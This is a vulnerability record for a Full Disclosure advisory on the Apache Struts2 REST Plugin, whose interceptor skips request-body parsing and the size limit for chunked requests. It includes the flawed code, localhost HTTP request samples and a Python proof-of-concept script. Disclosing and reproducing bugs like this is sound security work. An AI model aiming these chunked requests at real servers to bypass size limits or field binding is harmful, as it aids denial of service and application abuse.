GCVE-1988-2026-0533
Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Nov/2 | technical-description |
| http://127.0.0.1:8383/rest-showcase" | |
| http://127.0.0.1:8383/rest-showcase/orders/6 | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Apache | Struts2 REST |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "Struts2 REST",
"vendor": "Apache",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\nThe Apache Struts2 REST Plugin\u0027s (version 7.4.0 and below) `ContentTypeInterceptor.intercept(ActionInvocation)` only \ndeserialises a request body and enforces the `struts.rest.content.maxLength` bound when \n`HttpServletRequest#getContentLength()` returns a positive value. `getContentLength()` returns `-1` whenever the \n`Content-Length` header is absent, which normal and appropriate for any Hypertext Transfer Protocol (HTTP) request sent \nwith `Transfer-Encoding: chunked`, so the entire body-processing branch -- including the bounded-reader size check -- \nis skipped for every such request.\n\nImpact\nAny client that sends a chunked-encoded request body causes the action to be invoked as though no body had been sent at \nall, with every body field silently left unbound and no exception, warning, or rejection raised to either the caller or \nthe server logs. While a potentially minor or major detail, it is important to note that because the interceptor fails \nto parse the request body, the `struts.rest.content.maxLength` guard provides no protection whatsoever, as the \n`BoundedReader` that enforces it sits inside the branch that chunked requests never enter. An attacker can, as such, \nsubmit an arbitrarily large chunked body without the configured size ceiling ever being consulted, and any downstream \nlogic that assumes a submitted field was bound -- default-initialisation checks, business validation keyed to a \nnow-absent value, and the like -- will silently fall back to whatever behaviour applies when the field was never set. \nIt is important to note that the downstream logic is application-specific and that your application may do something \nterribly wrong or may not depending on your specific code -- Apache\u0027s Struts2 REST Plugin merely introduces the \nunexpected pathway -- and that interceptor ordering, additional interceptors, etc., may cause the body to still be \nparsed and deserialised, only that the Apache Struts2 REST Plugin will not take part in such activities, which may \nfurther complicate the severity calculation (if, for example, data flows through the REST Plugin and then into a custom \nJSON deserialiser via another interceptor, the assumed \"protections\" of the REST Plugin would never have taken place \nand the default path of your code may assume an INDEX or similar request).\n\nExamples\nSample Code\n`intercept(ActionInvocation)` guards the entire body-deserialisation and size-enforcement block on \n`request.getContentLength() \u003e 0`, so a chunked request -- for which `getContentLength()` legitimately returns `-1` -- \nfalls straight through to `invocation.invoke()` with the body never read.\n\n```java\n public String intercept(ActionInvocation invocation) throws Exception {\n HttpServletRequest request = ServletActionContext.getRequest();\n ContentTypeHandler handler = selector.getHandlerForRequest(request);\n\n Object target = invocation.getAction();\n if (target instanceof ModelDriven) {\n target = ((ModelDriven\u003c?\u003e) target).getModel();\n }\n\n if (request.getContentLength() \u003e 0) {\n BoundedReader reader = new BoundedReader(openBodyReader(request), maxLength);\n try {\n applyRequestBody(invocation, handler, target, reader);\n } catch (Exception e) {\n if (reader.limitExceeded()) {\n throw requestBodyTooLarge();\n }\n throw e;\n }\n if (reader.limitExceeded()) {\n throw requestBodyTooLarge();\n }\n }\n return invocation.invoke();\n }\n```\nCode snippet from `struts2-rest-plugin`\u0027s \nplugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java, lines 114-138, with line 123\u0027s `if \n(request.getContentLength() \u003e 0)` gating both `applyRequestBody()` and every `BoundedReader`/`maxLength` check; nothing \nin this method, or any upstream code, separately inspects `Transfer-Encoding` and handles chunked encoding\n\nSample Dynamic Testing\nThe following was against the rest-showcase codebase, running Struts 7.5.0-SNAPSHOT, built on 28 October 2026. The \nfirst, an ordinary `Content-Length`-bearing submission, correctly binds `clientName` and creates a new order. The \nsecond, a byte-identical JavaScript Object Notation (JSON) body sent with `Transfer-Encoding: chunked` and no \n`Content-Length` header, is never bound onto the model at all -- `validate()` fires against `clientName`\u0027s untouched \nJava default and the action rejects the request with only the ordinary field-validation error a caller would see for a \ngenuinely empty submission. Importantly, how the information system behaves is dependent on the information system, \nitself, so while the rest-showcase example behaves as such, yours may do something considerably worse.\n\n```http\nPOST /rest-showcase/orders HTTP/1.1\nHost: 127.0.0.1:8383\nContent-Type: application/json\nAccept: application/json\nContent-Length: 47\n\n{\"clientName\":\"CalibrationNormal\",\"amount\":11}\n```\nRequest -- an ordinary, `Content-Length`-bearing submission\n\n```http\nHTTP/1.1 201\nLocation: http://127.0.0.1:8383/rest-showcase/orders/6\n```\nResponse -- `201`; the order is created with `clientName` correctly bound from the submitted body\n\n```http\nPOST /rest-showcase/orders HTTP/1.1\nHost: 127.0.0.1:8383\nContent-Type: application/json\nAccept: application/json\nTransfer-Encoding: chunked\n\n2f\\r\n{\"clientName\":\"CalibrationChunked\",\"amount\":22}\\r\n0\\r\n\\r\n\n```\nRequest -- the byte-identical JavaScript Object Notation (JSON) body, now sent with `Transfer-Encoding: chunked` and \nwithout a `Content-Length` header\n\n```http\nHTTP/1.1 400\nContent-Type: application/json;charset=UTF-8\n\n{\"actionErrors\":[],\"fieldErrors\":{\"clientName\":[\"The client name is empty\"]}}\n```\nResponse -- `400`; `clientName` was never bound, so `validate()` rejects the request as though an empty body had been \nsubmitted with no indication that the chunked encoding itself was the cause; a subsequent `GET \n/rest-showcase/orders.json` confirms that no order named `CalibrationChunked` was ever created whilst the first \nrequest\u0027s `CalibrationNormal` order (`id: 6`) is present\n\nSteps to Reproduce\nRun the following self-contained script against a running rest-showcase deployment. It creates one order via an \nordinary request, attempts to create a second via a chunked request, confirms the chunked attempt was never bound, and \ncleans up the one order it legitimately created, independently re-verifying the cleanup succeeded.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Standalone reproduction for \"`Content-Length` Guard Skips Chunked Request\nBody Processing\" against the struts2-rest-plugin\u0027s ContentTypeInterceptor,\nexercised live through rest-showcase\u0027s OrdersController.\n\nRequires `pip install requests`.\n\"\"\"\nimport sys\nimport time\nimport requests\n\nBASE_URL = \"http://127.0.0.1:8383/rest-showcase\";\n\n\ndef chunked_body(payload: bytes):\n # A generator body forces requests/urllib3 to send Transfer-Encoding:\n # chunked with no Content-Length header at all -- the standard\n # mechanism several HTTP client libraries use for streamed bodies\n yield payload\n\n\ndef list_order_ids() -\u003e set:\n response = requests.get(f\"{BASE_URL}/orders.json\", timeout=20)\n response.raise_for_status()\n return {order[\"id\"] for order in response.json()}\n\n\ndef main() -\u003e bool:\n marker = str(int(time.time() * 1000))\n normal_name = f\"ChunkedGuardNormal-{marker}\"\n chunked_name = f\"ChunkedGuardChunked-{marker}\"\n\n baseline_ids = list_order_ids()\n print(f\"baseline order ids: {sorted(baseline_ids)}\")\n\n # 1) Ordinary, Content-Length-bearing POST -- the control case\n normal_body = f\u0027{{\"clientName\":\"{normal_name}\",\"amount\":11}}\u0027.encode(\"utf-8\")\n normal_response = requests.post(\n f\"{BASE_URL}/orders\",\n data=normal_body,\n headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n timeout=20,\n )\n print(f\"normal POST -\u003e HTTP {normal_response.status_code}, \"\n f\"Location={normal_response.headers.get(\u0027Location\u0027)}\")\n\n after_normal_ids = list_order_ids()\n created_ids = after_normal_ids - baseline_ids\n normal_created = normal_response.status_code == 201 and len(created_ids) == 1\n if not normal_created:\n print(\"FAIL: the control (Content-Length) request did not create an order as expected\")\n return False\n created_id = created_ids.pop()\n print(f\"control request created order {created_id} ({normal_name}) -- binding works normally\")\n\n # 2) Byte-identical JSON, sent via a generator body\n chunked_payload = f\u0027{{\"clientName\":\"{chunked_name}\",\"amount\":22}}\u0027.encode(\"utf-8\")\n chunked_response = requests.post(\n f\"{BASE_URL}/orders\",\n data=chunked_body(chunked_payload),\n headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n timeout=20,\n )\n sent_headers = chunked_response.request.headers\n print(f\"chunked POST -\u003e HTTP {chunked_response.status_code}\")\n print(f\"outbound request headers: Transfer-Encoding={sent_headers.get(\u0027Transfer-Encoding\u0027)}, \"\n f\"Content-Length={sent_headers.get(\u0027Content-Length\u0027)}\")\n\n after_chunked_ids = list_order_ids()\n chunked_created = len(after_chunked_ids - after_normal_ids) \u003e 0\n\n vulnerable = (\n sent_headers.get(\"Transfer-Encoding\") == \"chunked\"\n and \"Content-Length\" not in sent_headers\n and chunked_response.status_code == 400\n and not chunked_created\n )\n\n if vulnerable:\n print(f\"VULNERABLE: the chunked request\u0027s body was never bound onto the model -- \"\n f\"OrdersController.validate() rejected it with HTTP {chunked_response.status_code} \"\n f\"({chunked_response.json()}), and no order named {chunked_name!r} was ever created, \"\n f\"even though the byte-identical body succeeded moments earlier when sent with \"\n f\"Content-Length instead.\")\n else:\n print(\"did not reproduce\")\n\n # Cleanup: remove the one order this script legitimately created, then\n # independently re-verify the cleanup actually took effect. The chunked\n # request never created anything, so there is nothing to delete for it\n delete_response = requests.delete(f\"{BASE_URL}/orders/{created_id}\", timeout=20)\n print(f\"cleanup: DELETE /orders/{created_id} -\u003e HTTP {delete_response.status_code}\")\n final_ids = list_order_ids()\n if created_id in final_ids:\n print(f\"WARNING: cleanup did not remove order {created_id}; remove it manually\")\n else:\n print(f\"cleanup verified: order {created_id} no longer present (back to baseline)\")\n\n return vulnerable\n\n\nif __name__ == \"__main__\":\n sys.exit(0 if main() else 1)\n```\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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"dateUpdated": "2026-11-02T09:47:24Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
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"references": [
{
"tags": [
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"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/2"
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"tags": [
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"url": "https://seclists.org/fulldisclosure/2026/Nov/2"
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{
"url": "http://127.0.0.1:8383/rest-showcase\""
},
{
"url": "http://127.0.0.1:8383/rest-showcase/orders/6"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
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"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/2"
],
"discovery": "EXTERNAL"
},
"title": "Apache Struts2 REST Plugin Fails to Properly Parse Chunked Requests",
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"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0533",
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| Author | Source | Type | Date | Other |
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